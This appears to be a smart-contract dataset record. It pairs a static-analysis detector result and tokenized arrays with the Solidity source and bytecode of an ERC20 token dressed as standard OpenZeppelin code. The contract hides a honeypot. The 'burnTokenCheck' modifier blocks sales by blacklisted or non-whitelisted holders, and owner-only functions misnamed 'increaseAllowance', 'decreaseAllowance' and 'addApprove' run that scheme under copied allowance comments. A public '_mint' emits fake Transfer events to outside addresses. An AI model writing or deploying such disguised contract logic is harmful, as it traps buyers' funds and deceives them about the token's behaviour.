9673a20696e76616c6964207369676e60008301527f61747572650000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a8660258361301f565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612aec60248361301f565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b5260258361301f565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612bb8601f8361301f565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b612bf4816131ac565b82525050565b612c03816131b6565b82525050565b612c12816131c6565b82525050565b6000612c238261272f565b9150612c2f82856125ad565b602082019150612c3f82846125ad565b6020820191508190509392505050565b6000602082019050612c646000830184612580565b92915050565b6000602082019050612c7f600083018461258f565b92915050565b6000602082019050612c9a600083018461259e565b92915050565b6000608082019050612cb5600083018761259e565b612cc26020830186612580565b612ccf6040830185612beb565b612cdc6060830184612beb565b95945050505050565b6000608082019050612cfa600083018761259e565b612d07602083018661259e565b612d146040830185612beb565b612d216060830184612580565b95945050505050565b6000608082019050612d3f600083018761259e565b612d4c6020830186612c09565b612d59604083018561259e565b612d66606083018461259e565b95945050505050565b60006020820190508181036000830152612d8981846125c4565b905092915050565b60006020820190508181036000830152612daa816125fd565b9050919050565b60006020820190508181036000830152612dca81612663565b9050919050565b60006020820190508181036000830152612dea816126c9565b9050919050565b60006020820190508181036000830152612e0a8161276f565b9050919050565b60006020820190508181036000830152612e2a816127d5565b9050919050565b60006020820190508181036000830152612e4a8161283b565b9050919050565b60006020820190508181036000830152612e6a816128a1565b9050919050565b60006020820190508181036000830152612e8a81612907565b9050919050565b60006020820190508181036000830152612eaa8161296d565b9050919050565b60006020820190508181036000830152612eca816129d3565b9050919050565b60006020820190508181036000830152612eea81612a13565b9050919050565b60006020820190508181036000830152612f0a81612a79565b9050919050565b60006020820190508181036000830152612f2a81612adf565b9050919050565b60006020820190508181036000830152612f4a81612b45565b9050919050565b60006020820190508181036000830152612f6a81612bab565b9050919050565b6000602082019050612f866000830184612beb565b92915050565b6000604082019050612fa16000830185612beb565b612fae6020830184612beb565b9392505050565b6000602082019050612fca6000830184612bfa565b92915050565b6000604082019050612fe56000830185612bfa565b612ff26020830184612beb565b9392505050565b600060208201905061300e6000830184612c09565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000613046826131ac565b9150613051836131ac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130865761308561328b565b5b828201905092915050565b600061309c826131b6565b91506130a7836131b6565b92508263ffffffff038211156130c0576130bf61328b565b5b828201905092915050565b60006130d6826131b6565b91506130e1836131b6565b9250826130f1576130f06132ba565b5b828204905092915050565b6000613107826131ac565b9150613112836131ac565b9250828210156131255761312461328b565b5b828203905092915050565b600061313b826131b6565b9150613146836131b6565b9250828210156131595761315861328b565b5b828203905092915050565b600061316f8261318c565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60005b838110156131f15780820151818401526020810190506131d6565b83811115613200576000848401525b50505050565b6000600282049050600182168061321e57607f821691505b60208210811415613232576132316132e9565b5b50919050565b6000613243826131ac565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132765761327561328b565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61333281613164565b811461333d57600080fd5b50565b61334981613182565b811461335457600080fd5b50565b613360816131ac565b811461336b57600080fd5b50565b613377816131b6565b811461338257600080fd5b50565b61338e816131c6565b811461339957600080fd5b5056fe52554e3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a264697066735822122075a21680598336e02f700063e194be810b17c616a27d9bc238ccf0386863edf564736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 23499, 19481, 2575, 2620, 2094, 2475, 2546, 2487, 2063, 16068, 2683, 2050, 12376, 2683, 2497, 26976, 2497, 2575, 12879, 2487, 2497, 17134, 11960, 2683, 23833, 2278, 2575, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,106
0x96398db1e618dd5bda7466ea237286c4d4732fa2
pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xd209B99a55Ee497084E16190DfF41Ed3219E8BE7, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); _mint(0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b61054260048036036